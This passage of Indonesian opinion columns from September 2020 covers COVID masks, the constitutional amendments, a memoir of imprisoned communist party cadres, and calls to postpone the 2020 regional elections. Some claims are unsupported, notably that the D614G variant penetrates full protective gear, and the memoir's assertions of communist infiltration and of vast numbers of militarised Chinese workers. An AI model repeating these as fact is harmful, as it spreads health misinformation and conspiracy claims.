ungkapnya. “Rekomendasi CDC ini lebih mudah diterapkan. Yang penting bahan 2 atau 3 lapis, dan tetap bisa bernafas dengan leluasa,” jelas Arie Karimah. Ia menyarankan, gunakan masker bahan setiap Anda berada di luar rumah dan saat berada di tengah-tengah orang lain. Itu adalah kewajiban sosial kita semua, untuk melindungi satu sama lain. Memakai masker Tetap Lebih Baik dibandingkan tidak memakainya. Pertanyaannya, apakah memakai masker (apapun jenisnya) bisa menjamin seseorang tidak akan terinfeksi Virus Corona alias Covid-19? Belum tentu juga! Para dokter dan nakes lainnya yang sudah pakai Alat Pelindung Diri (APD) lengkap saja bisa terpapar Covid-19 dan sudah menjadi korban, apalagi rakyat jelata! Ini bisa jadi bukti, varian Covid-19 baru seperti D614G mampu menembus APD. Menjadi bukti pula, APD saja bisa ditembus, apalagi cuma masker dan kulit manusia. Karena itulah jaga imun tubuh kita! Penulis adalah Wartawan Senior FNN.co.id.

Menepis Amien Rais Soal Implikasi “Kembali ke UUD 1945”

by Mayjen TNI (Purn.) Prijanto “…… Di samping banyak yang mendukung, tentu saja ada pihak-pihak yang tidak setuju dengan amandemen tersebut, dan isi amandemen yang dibuat. Perbedaan pendapat seperti itu adalah bagian dari proses berdemokrasi”. (Prof. Dr. Maswadi Rauf, M.A, 2007, buku Valina Singka Subekti “Menyusun Konstitusi Transisi”). Jakarta FNN – Senin (22/09). Untuk membedakan dan mempermudah pemahaman dalam artikel “Menepis Pendapat Amien Rais” yang akan ditulis secara berseri, maka perlu permbatasan. Hasil amandemen UUD 1945 yang dilakukan MPR sebanyak empat kali, kita sebut “UUD 2002”. Keterlibatan Asing Dalam Amandemen UUD 1945 dapat dibaca dalam Bukunya Valina Singka Subekti, dengan judul “Menyusun Konstitusi Transisi” enak dibaca. Penggambaran situasi saat amandemen UUD 1945 patut dipercaya, karena Valina Singka sebagai anggota PAH III dan PAH I BP MPR 1999-2001. Saat ini Prof. Dr. Valina Singka Subekti sebagai Guru Besar di Uiversitas Indonesia. Beberapa tokoh mengatakan, amandemen UUD 1945 sebagai “Hasil Karya” bangsa Indonesia untuk membangun kehidupan kenegaraan yang lebih demokratis. Pertanyaanya, benarkah UUD 2002 murni “Hasil Karya” bangsa Indonesia? Benarkah untuk kehidupan yang demokratis? Apabila kita cermati, UUD 2002 bukan hasil murni bangsa Indonesia, dan belum mencerminkan kehidupan yang demokratis. Hal ini terungkap jelas dalam buku “Menyusun Konstitusi Transisi”. Amin Arjoso dari PDIP mencurigai dan menulisnya dalam “Jangan Sampai MPR Keblinger” mengatakan, “lebih menyedihkan lagi karena perubahan yang disebut dalam amandemen UUD 1945 dan oleh MPR dinyatakan mulai berlaku 10 Agustus 2002. Itu sesudah diamandemen empat kali, dan dilakukan atas intervensi LSM asing yang ikut menghadiri sidang-sidang PAH I”. LSM asing juga ikut memberikan fasilitas dan konsep-konsep selama proses penyusunan amandemen. Tujuannya untuk memastikan bahwa amandemen tersebut patut diduga keras sesuai dengan pemikiran “democratic values and an America self-interst”. (‘Menyusun Konstitusi Transisi’ halaman 81). Dugaan Amin Arjoso dikuatkan A.S.S. Tambunan. Adanya fakta bahwa amandemen UUD 1945 disusupi kekuatan asing. Namun, Jacob Tobing membantahnya. Walau demikian, kaum intelektual faham, sistem parlemen bikameral, Pilpres langsung, susunan dan kedudukan MPR dan alain-lain, patut dinilai sebagai penyesuaian dengan sistem di Amerika. Koalisi untuk Konstitusi Baru (KKB), merupakan Koalisi Organisasi Non Pemerintah (Ornop) yang berisi lebih dari lima puluh LSM. KKB ditambah kalangan perguruan tinggi, menyoroti proses amandemen yang tidak partisipatoris, sangat elitis, dan dipenuhi kepentingan politik. Artinya, ada keanehan. Jargon amandemen agar kehidupan lebih demokratis, tetapi prosesnya justru tidak demokratis. Koalisi Ornop pada ST MPR 2001 menyatakan, “meskipun telah ada perubahan terhadap UUD 1945 oleh MPR, perubahan itu banyak menimbulkan masalah baru. Misalnya, kerancuan dan pertentangan satu dengan lainnya. Dilihat dari prosesnya, perubahan ini hanya dilakukan dan ditentukan sendiri oleh MPR tanpa melibatkan rakyat Prosesnya yang tidak terbuka, dan sepotong-potong. Lebih banyak diwarnai kepentingan politik sempit fraksi-fraksi di MPR. Perubahan ini lebih condong memberi penguatan kepada kepentingan elite-elite politik di DPR/MPR yang menghasilkan kontrol antar lembaga tidak seimbang. Bahkan diduga memberi perlindungan hukum bagi pelanggar HAM”. (Menyusun Konstitusi Transisi, halaman 75). Catatan Prof. Dr. Amien Rais MA. Dalam kaitan reaksi anak bangsa yang ingin Kembali ke UUD 1945, Amien Rais dalam Kata Pengantar buku Valina Singka menyatakan, Kembali ke UUD 1945, seperti memutar jarum jam searah ke belakang. Sesuatu yang mustahil dan tidak boleh terjadi. Amien Rais menyebut ada sepuluh implikasi yang harus dicamkan jika kembali ke UUD 1945. Pertama, DPD otomatis hilang. Kedua, DPA muncul kembali. Ketiga, Otonomi Daerah dibatalkan. Pemerintah pusat kembali memegang sentralisasi kekuasaan. Keempat, MPR terdiri dari anggota DPR, Utusan Daerah dan Utusan Golongan. Kelima, Presiden dan Wakil Presiden dipilih oleh MPR. Bukan lagi dipilih oleh rakyat. Keenam, pasal HAM dengan sepuluh ayat yang melindungi hak asasi manusia Indonesia menjadi hilang. Ketujuh, tidak ada pasal yang menjamin kelestarian NKRI. Pasal 1 ayat (1) tidak dapat diubah. Kedelapan, tidak ada ketentuan sekurang-kurangnya 20 persen APBN dan APBD dialokasikan untuk bidang pendidikan nasional. Kesembilan, undang-undang yang dibuat oleh eksekutif. Sedangkan legislatif hanya menyetujui saja. Ini sangat ironis, karena DPR tidak membuat legislasi, namun pemerintah yang membuat legislasi. Kesepuluh, Presiden dapat dipilih berulang kali tanpa batas. Analisa dan Diskusi Bagaimana mungkin Amien Rais bisa bilang Kembali ke UUD 1945 sesuatu yang mustahil. Tidak boleh terjadi. Pernyataan yang antagonistis dengan pernyataannya sendiri. Amien dalam berbagai kesempatan bilang, hasil amandemen sebagai “living constitution” yang selalu terbuka untuk diubah. Menyesuaikan diri dengan perkembangan zaman. Konstitusi bukan “Kitab Suci” yang tidak bisa diubah, kata para pengamandemen. Sejarah juga mencatat, Bung Karno pernah memutar balik pikiran bangsa Indonesia. Misalnya, kembali ke UUD 1945, pada 5 Juli 1959. Jadi, apa dasarnya Amien Rais bilang mustahil dan tidak boleh terjadi? Bukankah perubahan itu bisa “kembali ke UUD 1945 dulu”. Selanjutnya dilakukan penyempurnaan dengan cara adendum? Sinyalemen Amin Arjoso dan Koalisi Ornop di atas dikuatkan Donald D. Horowitz dalam bukunya “Constitutional Change and Democracy in Indonesia” terbitan Cambridge Univercity Press, 2013. Dikuatkan artikel Tim Weiner pada surat kabar New York Times, 20 Mei 1998, “Unrest in Indonesia, The Opposition U.S. Has Spent $ 26 Million since’95 on Soeharto Oppenents”. Keterlibatan asing sangat kasatmata. Tidak hanya dana yang digelontorkan, tetapi juga konsep pemikiran ala Amerika, masuk ke PAH 1 MPR. Akibatnya, intervensi asing itulah sehingga proses amandemen meninggalkan sifat partisipatoris. Tidak melibatkan rakyat secara luas. Tidak terbuka, sehingga tidak demokratis. PAH 1 dalam perubahan ketiga memang membentuk Tim Ahli dari berbagai disiplin ilmu. Namun aktivis LSM menolak, karena dinilai sebagai manipulasi untuk legitimasi BP MPR saja. Kewenangan Tim Ahli tidak jelas, masukannya bisa diubah, yang diduga adanya intervensi asing. Nah, apakah kita masih bangga, UUD 2002 sebagai murni “Hasil Karya” bangsa Indonesia? Yang prosesnya juga tak demokratis? Perbedaan UUD 2002 dengan UUD 1945, dijadikan implikasi oleh Amien. Narasinya sangat normatif, seperti iklan. Seolah-olah Kembali ke UUD 1945 membawa kerugian. Bagi yang cerdas, tidak akan terkecoh, karena sudah merasakan pahitnya UUD 2002. Sederetan pertanyaan kritis muncul. Pertanyaan terpenting, apakah pasal-pasal dalam UUD 2002 sesuai dengan nilai-nilai Pancasila? Pada seri-seri berikutnya, akan dikupas sepuluh implikasi di atas dengan pendekatan kualitas, karena UUD 2002 sudah 18 tahun kita gunakan. Ke arah mana kita akan berjalan? Seri ke-2 akan mengupas DPD, DPA dan Otonomi Daerah. Semoga bermanfaat dan masyarakat memahami. Amin. Penulis adalah Wagub DKI Jakarta 2007-2012 & Rumah Kebangkitan Indonesia.

Catatan Belasan Tahun Bersama Tokoh & Kader PKI (Bagian-1)

by Sudirman Timsar Zubil Jakarta FNN – Selasa (22/09). Sejak ditangkap dan ditahan Laksus Pangkopkamtibda Sumatera Utara pada tengah malam menjelang Shububh, tanggal 17 Januari 1977 aku mulai bersentuhan dengan kader dan tokoh Partai Komunis Indonesia (PKI). Ini disebabkan kami ditempatkan di tahanan yang sama dengan para kader dan tokoh PKI. Saya bersama-sama dengan kader dan tokoh PKI sejak dari Satgas Intel di Jalan Gandhi Medan, sampai ke Inrehab. Terakhir di Lembaga Pemasyarakatan (Lapas) Lapas Kls I Tanjung Gusta Medan pada tahun 1986 hingga aku dibebaskan oleh Presiden B.J. Habibie pada 5 Januari 1999. Jadi, kebersamaanku dengan mereka selama 22 tahun kurang 15 hari. Mungkin dikarenakan aku divonis dengan pidana mati oleh PN Medan, para kader dan tokoh PKI yang sama-sama ditahan denganku tidak merasa khawatir untuk bicara terbuka kepadaku. Tentu bisa menjadi buku yang cukup tebal bila aku menuliskan semua "catatan batin" selama berinteraksi dengan mereka. Namun, aku hanya menorehkan secercah dari catatan batin mereka. Catatan yang aku kupikir dan kurasa relevan dengan situasi dan kondisi di tanah air saat ini. Dimana gonjang-ganjing kebangkitan kembali PKI begitu heboh di hampir semua media. Ada yang membenarkan dan ada pula yang menafikannya. Aku menegaskan di awal tulisan ini dengan menyatakan bahwa, PKI memang berusaha untuk kembali bangkit. Dasar atau alasan saya menyatakan seperti itu sebagai berikut. Pertama, pernyataan Kolonel Maliki, mantan Komandan Brigif (?) Kodam II Bukit Barisan, sekarang Kodam I Bukit Barisan. Ketika kami berdialog, aku bertanya kepada Kolonel Maliki. Kenapa Bapak memilih ditangkap padahal pada waktu itu pasukan Brigif di bawah komando Bapak? “Inilah gara-gara mengikuti cakap si Aidit, tunggu perintah Bung Karno baru bergerak". Keterangan pak Maliki itu merupakan bukti bagiku bahwa PKI dan tentara binaannya Kolonel Untung, dan lain-lain adalah ibarat dua sisi mata uang yang tidak bisa dipisahkan. Tidak bisa dikatakan bahwa gerakan Kolonel Untung menculik dan membunuh para Jenderal di Lubang Buaya sebagai persoalan internal TNI/AD semata. Kedua, ketika bincang-bincang dengan pak Tamat, kader PKI yang tidak divonis tapi menjalani masa tahanan cukup lama (belasan tahun) beliau mengeluarkan uneg-unegnya kepadaku. Dia dan kawan-kawannya (istilah mereka menyebut sesama mereka dengan sebutan "kawan") sangat benci dan dendam kepada TNI/AD terutama kepada Suharto yang menumpas PKI sampai ke akar-akarnya. Antara lain katanya "...sekarang kami tidak bisa bikin apa-apa. Tetapi nanti ada saatnya kami akan balas semua yang dibikin mereka kepada kami. Sekarang kami sudah masuk (infiltrasi) ke mana-mana. Sudah ada yang Ormas, Parpol, Angkatan di dalam ABRI, termasuk Polisi dan lain-lain. Mendengar keterangan pak Tamat itu aku membatin di hatiku, "mimpi aja lah terus..." Akan tetapi melihat keadaan serta apa yang terjadi sekarang, ternyata pak Tamat bukan bermimpi. Apa yang diucapkannya ketika itu hampir terbukti semua menjadi kenyataan bahwa, sepertinya mereka telah ada di mana-mana. Masuk pada semua lini kehidupan berbangsa. Dengan senyap maupun dengan arogan meraka tampil penuh percaya diri. Sehingga menjadi aneh jika orang-orang pintar mengatakan PKI sudah mati tidak mungkin hidup kembali. Jadinya benar, kata Prof Din Syamsudin bahwa yang bilang komunis tak mungkin bangkit lagi, sesungguhnya komunis itu sendiri. Oleh karena itu saya ingatkan kepada kita semua, terutama generasi muda. Untuk tidak boleh terlena oleh ucapan yang seolah-olah meremehkan PKI. Namun sesungguhnya ucapan-ucapan seperti itu hanya untuk meredam gejolak kewaspadaan masyarakat, terutama umat Islam yang tersentak sadar melihat indikasi kebangkitan PKI memang begitu nyata. Apalagi penulis buku "Aku bangga jadi anak PKI", secara terbuka menyatakan bahwa anak cucu PKI sudah berjumlah 20 juta orang. Ditambah dengan kedatangan Tenaga Kerja Asing (TKA) dari Cina dengan perwakan militer dalam jumlah begitu besar yang diperkirakan ratusan ribu atau sudah jutaan itu? Alhamdulillah pengalaman selama belasan tahun di penjara dan kenyataan hari ini telah membangunkan kesadaran tentang ancaman bahaya komunis, meski tidak lagi bernama PKI. Ketiga, Pak Isnanto adalah temanku bermain catur, dan juga teman dialog yang kritis. Beliau mengaku sebagai anggota CC PKI yang dipindahtugaskan dari daerah asalnya, Solo. Kata beliau, tugasnya adalah membina para pejabat dari semua lapisan yang mendukung atau bersimpati pada PKI. Pak Isnanto divonis hukuman mati. Permohonan grasinya telah ditolak oleh Presiden Suharto. Artinya, tinggal menanti pelaksanaan eksekusi. Beliau adalah kader dan tokoh PKI sejati. Namun, dalam setahun beliau mau juga ikut shalat yaitu, shalat Idul Fitri dan Idul Adha. Bulan Ramadhan ikut shaum, tetapi alasannya untuk kesehatan. Bukan untuk ibadah. Yang penting dari kusampaikan tentang Pak Isnanto ini adalah militansia beliau. Meski dalam keadaan menanti dieksekusi mati, beliau masih bisa menjawab komentar dan pertanyaanku dengan tegas. Tanpa sedikitpun tampak kebimbangan pada Pak Isnanto. Aku bilang padanya begini, "... komunis terbukti telah gagal di dalam menyejahterakan umat manusia. Uni Sovyet bubar berantakan, begitu pula Eropa Timur, dan simbol yang fenomenal, Tembok Berlin, juga telah rubuh". Dengan enteng dan tenangnya Pak Isnanto berkata, "biasa, mundur selangkah untuk maju seribu langkah lagi" Itu membuktikan bahwa PKI sebagai organisasi (partai) memang telah mati atau dibubarkan. Akan tetapi komunis sebagai ideologi tetap hidup di jiwa penganut-penganut setianya. Mereka tetap setia dan bergelirya semua semua lini kehidupan bermasyarakat, berbangsa, dan bernegara. Aku salut dengan militansinya Pak Isnanto. Tetapi beliau tidak kalah salut kepadaku. Itu dikarenakan aku minta "laksanakan segera eksekusi mati, dan saya minta laksanakan di depan umum". Permintaan itu aku sampaikan kepada hakim ketua majelis yang juga Ketua PN Medan, Koeswandi SH, ketika menjawab pertanyaannya. Apakah aku menerima, atau banding? Atau akan meminta grasi atas vonis hukuman mati) yang baru saja dibacakannya? Pak Isnanto semakin hormat kepadaku. Apalagi setelah aku menyelamatkannya terlebih dahulu dari napi yang lain, dengan cara membuka pintu kamar dan mengeluarkannya dari kamarnya yang terkunci. Itu terjadi ketika peristiwa Iwan Dukun yang tewas terbakar di kamarnya yang dikuncinya sendiri untuk menyelamatkan diri dari serangan lawan-lawannya. Eksekusi terhadap Pak Isnanto tidak terlaksana karena, beliau termasuk yang turut dibebaskan oleh Presiden B.J. Habibie. Semoga ALLAH ampuni dosanya dan ditempatkan pada tempat yang terbaik di alam sana. Aamiin aamiin dan aamiin... (bersambung). Penulis adalah Mantan Napi Yang Divonis Hukuman Mati.

Prasiden Nekad Pilkada, Untuk Apa?

by Ubedilah Badrun Jakarta FNN – Selasa (22/09). Apakah jiwa dan hati terhenyak? Atau memang sudah membeku dan membatu. Jiwa dan hati sudah kering-kerontang. Hilang empati terhadap nasib rakyat. Bernafsu untuk berkuasa sebagai Walikota Solo dan Medan telah menyumpal cahaya bening pada jiwa yang seharusnya menjadi pelindung atas keselamatan rakyat. Ada tabir hitam apa yang telah menggumpal dan membelenggu jiwa yang seharusnya bening tersebut? Bukankah fakta bahwa orang-orang terbaik negeri ini banyak yang telah meninggal saat negara membutuhkan mereka? Negara telah abai dan gagal untuk menyelamatkan mereka. Karena sejak awal pemerintah menganggap enteng persoalan pandemi Covid-19. Kini, lebih dari 180 tenaga medis yang meninggal dunia. Dari jumlah itu 119 diantaranya adalah para dokter. Lebih dari 9.600 rakyat Indonesia meninggal dalam 6 bulan terakhir. Senin 21 September, yang positif Covid-19 dalam sehari mencapai 4.176 orang. Angka yang sangat fantastis. Berdasarkan data Satgas Covid-19 tertanggal 21 September 2020, sebanyak 27 orang positif di Markas Komando Pasukan Pengaman Presiden (Paspampres). Ini sebagai akibat, selama enam bulan terakhir, pemerintah lebih fokus selamatkan ekonomi. Ratusan triliun uang rakyat dipakai untuk selamatkan ekonomi. Namun hasilnya, ekonomi tetap ambruk minus -5,3 % (Kemenkeu,2020). Virus Corona terus menyebar ke semua provinsi. Korbanya kebanyakan rakyat jelata. Kini ada bupati, sekretaris daerah, ketua KPU, bahkan menteri bertambah yang positif Covid-19. Tata kelola negara makin tidak efektif, disfungsional, tumpang tindih tugas, sering buat gaduh, dan lemah koordinasi. Coba kita tengok kapabilitas Republik ini mengatasi pandemi covid-19 seperti apa? Ternyata hanya ada enam provinsi yang sesuai standar WHO. Dengan jumlah penduduk 260 juta lebih, kita hanya mempunyai 232 laboratorium untuk RT-PCR, 80 laboratorium untuk TCM, dan 31 laboratorium untuk semua jenis tes (Kemenkes,2020). Kapasitas testing Covid-19 di Indonesia masih sangat rendah. Bahkan lebih rendah dibandingkan dengan Nepal. Hanya bisa melakukan 10.660 tes per satu juta populasi. Sementara Nepal mampu lakukan 30.932 tes per satu juta populasi. Kapasitas testing antar wilayah kita juga timpang. Tenaga medis makin terbatas. Soal disiplin warga? Jangan tanya soal ini. Sebab di kota-kota besar yang notabene tingkat pendidikanya cukup tinggi saja masih susah untuk disiplin. Apalagi yang di daerah. Mereka berdalih New Normal sesuai dengan anjuran Presiden, berdamai dengan Corona. Dalam situasi seperti itu, kita disuguhkan dengan tontonan besarnya hasrat dan syahwat untuk berkuasa melalui kontestasi Pilkada. Padahal belum ada simulasi utuh tentang kesiapan KPU menyelenggarakan Pilkada dalam situasi pandemi. Yang jelas dalam pilkada tahun ini dinasti politik makin semarak. Ada juga legitimasi dari yang berkuasa di Istana. Karena bangga memberi contoh. Sebagaimana diketahui bersama, ada 270 daerah yang akan selenggarakan Pilkada. Dari jumlah tersebut, 9 Pilkada Provinsi, 224 Kabupaten, dan 37 Kota. Akan ada sekitar 106 juta lebih pemilih yang terlibat. Mereka akan mendatangi TPS di hari pemilihan. Orang-orang baik sudah mengingatkan, tak kurang dari ormas terbesar NU dan Muhammadiyah ikut bicara. Minta agar Pilkada 2020 ditunda beberapa bulan, sampai pandemi covid-19 mereda. Kelompok oposisi gerakan moral sepeti Koalisi Aksi Menyelamatkan Indonesia (KAMI) juga sudah mengingatkan pemerintah dengan suara yang sama. Para intelektual, ahli pandemi, dan akademisi tak bosan-bosannya mewanti-wanti pemerintah terkait penundaan Pilkada 2020. Demi menyelamatkan sumber daya manusia Indonesia. Mereka semua mengingatkan betapa bahayanya Pilkada dilakukan di tengah pandemi covid-19 yang sudah mencapai tahap darurat dan sangat menghawatirkan. Jika nalar sudah berteriak, hati sudah menjerit, rakyat sudah menangis, tak juga didengar oleh tuan-tuan pendamba kekuasaan, maka apa yang disebut Machiaveli dalam II Principe (1513) sebagai pengabaian moralitas dalam kekuasaan adalah empirik di negeri ini. Lalu, untuk apa Pilkada diadakan di tengah situasi pandemi yang menghawatirkan ini? Apa sudah tidak sabar lagi ingin melihat anak dan menantunya berkuasa menjadi Walikota Solo dan Medan? Atau... Penulis adalah Analis Sosial Politik Universitas Negeri Jakarta.

Dukung Bobby Nasution di Pilkada Medan, Sandi Uno Bunuh Diri

by Asyari Usman Jakarta FNN - Senin (21/09). Viral dan heboh. Sandiaga Uno akan berkampanye untuk Bobby Nasution (menantu Jokowi) di pilkada Medan, Desember nanti. Banyak yang terkejut. Banyak yang tertanya-tanya. Apa iya Sandi sebegitu mudah melakukan manuver yang, mungkin, membuat banyak orang kecewa? Jawabannya: memang iya. Memang mudah bagi Sandi. Sebab, dia itu adalah orang yang pragmatis. Cuma, banyak yang tak paham. Sandi itu ‘kan punya banyak kepentingan pribadi. Bisnisnya besar. Dia perlu berada dekat-dekat dengan para pemegang kekuasaan. Selain itu, Sandi masih bermimpi untuk ikut pilpres 2024. Bagaimanapun juga, Jokowi akan memiliki pengaruh di pilpres berikutnya. Meskipun pengaruh itu tidak besar. Dan bisa jadi juga Sandi sudah mendapatkan isyarat bahwa dia akan dibawa ke dalam kabinet setelah pilkada Medan. Posisi sebagai menteri, dalam teori, bisa memberikan efek positif bagi Sandi kalau dia mau ikut pilpres 2024. Mungkin ini yang membuat Sandi tak perduli lagi dengan rasa kecewa para pendukungnya. Dia kesampingkan semua dukungan itu demi masuk ke kabinet. Hanya saja, ada satu hal yang dilupakan Sandi. Bahwa tindakan dia mendukung Bobby itu malah akan menjadi beban bagi dia ketika nanti ikut pilpres. Sandi akan dikenang sebagai pengkhianat. Tidak kesan lain yang tergambar di benak pendukungnya. Dalam bahasa yang agak halus, Sandi bisa disebut pragmatis. Pragmatisme Sandi membuat dia ringan melakukan manuver zig-zag. Pragmatisme itu lebih-kurang sama dengan menghalalkan segala cara untuk mencapai tujuan. Yang menjadi masalah adalah bahwa publik pendukung Sandi tidak menduga dan tidak menghendaki dia menjadi orang yang pragmatis. Hari ini, Sandi membukakan jati dirinya. Anda semua sudah paham. Dan harus paham. Paham bahwa Sandi sama dengan orang-orang lain yang juga pragmatis. Yang menghalalkan segala cara. Ingat, tidak banyak orang yang hirau dengan halal-haram. Baik itu halal-haram menurut syariat agama, maupun halal-haram menurut etika politik, sosial, bisnis, dll. Inilah yang membuat Indonesia tak mampu beranjak dari disorientasi di segala bidang kehidupan. Lompat-melompat pagar adalah hal yang lumrah. Gonta-ganti prinsip, kubu, atau cara, dianggap bukan hal yang aneh. Sekarang, ketika Sandi melakukan itu, ada rasa kaget. Kok bisa begitu ya? Padahal, ini semua bukan barang baru. Dan, ingat juga, bahwa orang yang dikagumi Sandi dan dia akui sebagai mentor politiknya, yaitu Prabowo Subianto, sudah lebih dulu mempraktikkan pragmatisme. Prabowo tak hirau dengan konstituennya ketika dia bergabung ke kubu Jokowi menjadi menteri kabinet. Dan ketika dia memberikan dukungan kepada anak-menantu Jokowi yang tahun ini ikut pilkada. Prabowo tidak perduli apakah ada orang yang kecewa atau tidak. Tampaknya, Pak Prabowo yakin bahwa dia akan menjadi capres kuat di pilpre 2024. Sehingga beliau tak ambil pusing dengan reaksi negatif dari siapa pun juga. Nah, Sandi Uno pun bisa jadi sepikiran dengan Prabowo. Sandi tak perduli dengan kalkulasi para pemerhati bahwa mendukung Bobby Nasution adalah jalan bunuh diri kalau dia masih berambisi ikut pilpres 2024.[] Penulis adalah Wartawan Senior FNN.co.id

“Perlawanan” Pak JK

by Zainal Bintang Jakarta FNN – Senin (21/09). Wakil Presiden dua kali JK (Jusuf Kalla) melakukan “perlawanan”. Begitu pesan yang saya terima melalui WhatsApp dari teman-teman aktifis “civil society” (masyarakat sipil). "Saya kira KPU harus membikin syarat-syarat berkumpul atau apa. Kalau terjadi pelanggaran syarat-syarat, katakanlah kampanye hanya 50 (orang), tetapi terjadi 200 (orang). Kalau terjadi kecenderungan itu, ya lebih baik dipertimbangkan kembali waktunya," kata JK di sela-sela acara donor darah di gedung BPMJ Polda Metro Jaya, Jakarta, Sabtu (19/09/20). JK yang akrab dipanggil Daeng Ucu, hari ini, kini, mau merepresentasikan sosok dirinya sebagai tokoh bangsa yang “pedulian” . Pak JK yang tidak kenal diam. “JK tidak ada matinya”, begitu tertulis di WhatsApp tentang diri Daeng Ucu. Seperti diketahui, JK meminta keselamatan dan kesehatan masyarakat lebih diutamakan pada kondisi saat ini. Berbekal “senjata” dobel lop, yakni sebagai Ketua Palang Merah Indonesia (PMI) dan Dewan Mesjid Indonesia, JK memang tidak kenal istirahat. Dua jabatan pada lembaga sosial kemanusiaan dan religius itu merupakan sumber oksigen dan imunitasnya untuk terus menyuarakan “perlawanan” itu. Dengan logat yang khas Bugisnya, mantan Menteri Perindustrian dan Perdagangan era Presiden Gus Dur itu, menghimbau agar Pilkada Serentak ditunda dulu hingga vaksin virus Corona ditemukan. Kalau memang sulit, dan ternyata susah untuk mencegah perkumpulan orang hanya 50 sesuai aturan yang dikeluarkan oleh masing-masing gubernur, lebih manfaat ke masyarakat itu bisa ditunda pilkada. "Saya sarankan ditunda dulu sampai beberapa bulan. Sampai dengan vaksinnya ditemukan. Kalau vaksin ditemukan nanti, langsung menurun itu", ujarnya. Subuah keinginan yang mulia untuk lebih mengutamkan kesahatan dan keselamatan masyarakat. JK tidak sendiri bersuara serupa. Ada Ketua MPR RI Bambang Soesatyo, Titik Anggraeni (Perludem), Gubernur Banten Wahidin Halim, Wakil Ketua Komite I DPD RI Ir H Djafar Alkatiri, Tim Pemantau Pilkada 2020 Komnas HAM, Hairansyah dan pakar Pemilu Universitas Gadjah Mada (UGM), Abdul Gaffar Karim dan belakangan menyusul Prof. K.H Said Aqil Siroj (PBNU). Pada umumnya tokoh-tokoh itu sepakat agar Pilkada 2020 ditunda! Setelah viral berita itu, jutaan orang yang mendukung saran JK itu meramaikan lalu lintas percakapan dunia maya di media sosial (medsos). Bagaimanapun gawe itu melibatkan 105 juta orang pemilih. Dikhawatirkan akan timbul klaster baru, karena setiap TPS ada 500 orang pemilih. “Perlawanan” Daeng Ucu menarik perhatian publik secara luas. Tepat ketika masyarakat saat ini merasa kurang sreg dengan berbagai kebijakan pemerintah. Yang kalau tidak tumpang-tindih, malah saling tabrakan. Tepat waktu ketika masyarakat sedang memerlukan kepedulian “civil society” yang belakangan ini serasa menyusut. Kegesitan Daeng Ucu bergerak kesana-kemari membuat keberadaan dan kiprah Wapres Maruf Amin dipertanyakan. “Yang menjabat malah pasif. Tapi yang mantan kok malah super aktif”? begitu isi pesan WhatsApp menyentil. Entah siapa yang dimaksud? Ada yang mempertanyakan, kemana perginya kelincahan Maruf Amin? Kiayai yang sangat menonjol ketika menjabat sebagai Ketua Umum Majelis Ulama Indonesia (MUI). Fatwa yang ditandatanganinya telah menyeret Ahok (Basuki Tjahaya Purnama) ke pengadilan, dan berujung dalam penjara di Mako Brimob, dengan dakwaan penistaan agama. Menarik menelusuri pernyataan JK yang dianggap “berhadap-hadapan” dengan negara. Muncul tepat ditengah banjir protes dan luapan kecemasan masyarakat. Pemandangan akhir-akhir ini menunjukkan tingginya angka korban pasien postif Covid 19. Masyarakat meminta pelaksanaan Pilkada serentak yang ditetapkan 9 Desember 2020 diutunda! Kasus positif virus corona (Covid-19) di Indonesia per Sabtu (19/09/20) bertambah 4.168 orang, sehingga total kasus positif di Indonesia mencapai 240.687 kasus. Dari jumlah tersebut, sebanyak 174.350 orang dinyatakan telah sembuh dan 9.448 meninggal dunia. Penambahan kasus positif itu merupakan rekor tertinggi harian sejak awal kasus Covid 19 muncul di Indonesia pada 02 Maret 2020. Sebelumnya, rekor tercipta pada 16 September 2020 dengan 3.963 kasus. Memecahkan rekor sebelumnya pada 10 September dengan jumlah 3.861 kasus. Sejak pertengahan Maret yang lalu, ketika itu wabah corona (Covid 9) masih kecil baru mencapai 172 orang dan meninggal dunia 7 orang, JK sudah mewanti-wanti pemerintah supaya lebih serius. Bukan tidak mungkin, jumlahnya jauh lebih besar di lapangan karena banyaknya yang belum terdeteksi. “Indonesia seharusnya lebih menggencarkan pendeteksian Covid 19 kepada masyarakat, agar angka yang tercatat lebih banyak lagi”, kata JK. Jalan fikiran JK sebagai Ketua PMI kini, dibaca masyarakat lebih dominan berorientasi kepada faktor kesehatan, alias keselamatan nyawa manusia. Menarik, karena darah saudagar yang kental dalam diri mantan Menko Kesra Presiden Megawati itu bisa dikalahkan oleh tanggung jawab pada kemanusiaan. Lebih dari enam bulan sudah berlalu, negara ini gonjang-ganjing mengurus penanggulangan kekacauan tatanan kehidupan ekonomi dan kesehatan akibat serangan wabah virus Covid 19. Pemerintah boleh dikata telah jatuh bangun bekerja keras mencari jalan terbaik. Mungkinkah langkah “nekat” JK yang melakukan “perlawanan” dengan mengonsolidasi potensi internal di non negara akan berhasil? Paling tidak mampu memberi secercah harapan ketenangan kepada masyarakat plus mengurangi kegamangan dan kegugupan aparat negara yang terlihat terkadang seperti kebingungan dan terkesan hampir kehabisan akal. Jangan salah disalahfahami. Yang dimaknai dengan istilah “perlawanan” dalam konteks JK adalah terhadap progresifitas penyebaran wabah virus Covid 19. Manver JK memang menarik. Sebagai mantan Wapres yang cukup setahun meninggalkan Istana, dipastikan mempunyai jaringan informasi “bawah tanah” yang up to date tentang suasana kebatinan elite-elite Istana itu sekarang. Sebagai alumnus pemerintahan pertama kabinet Jokowi, sebaliknya diyakini JK memiliki sejumlah informasi yang akurat tentan “jeroan” Istana. Inilah yang membedakan JK secara kualitatif dengan pemimpin masyarakat sipil yang belum pernah punya pengalaman di pemerintahan selengkap JK. Berdasarkan penelusuran media, teriakan JK nampaknya telah merebut perhatian publik maupun elite. Diperkirakan terdorong oleh dua hal. Pertama, dipengaruhi rasa percaya diri JK yang bergerak secara independen tanpa sumber daya negara. Yang kedua, lantaran kepasifan Maruf Amin yang tidak terlihat ada geliatnya. Padahal sumber daya negara sangat besar dan banyak di tangannya. Ada juga yang berharap “perlawanan” JK mampu menggelinding menjadi faktor pemotivasi gerakan “civil society” agar mereka lebih percaya diri. Meskipun tanpa topangan sumber daya negara, mereka tetap konsisten menjalankan peran kritisnya. Mengontrol perjalanan pemerintahan agar tetap di atas koridor konstitusi sesuai dengan amanat proklamasi. Kasus Covid 19 ini dapat dibaca dari perspektif yang lain. Dapat menjadi panggung “perlawanan” JK terhadap adanya sejumlah tuduhan miring yang menganggapnya selama ia menjadi Wapres dua kali. Dia lebih banyak membesarkan kerajaan bisnisnya dan keluarganya. Publik sedang menanti-nanti, apakah “perlawanan” JK dapat menjadi pintu masuk terkonsolidasinya kekuatan masyarakat sipil yang masih berserak-serak tanpa sentral komando? Sivil Socisty yang dibawah sebuah komando “ideologi” 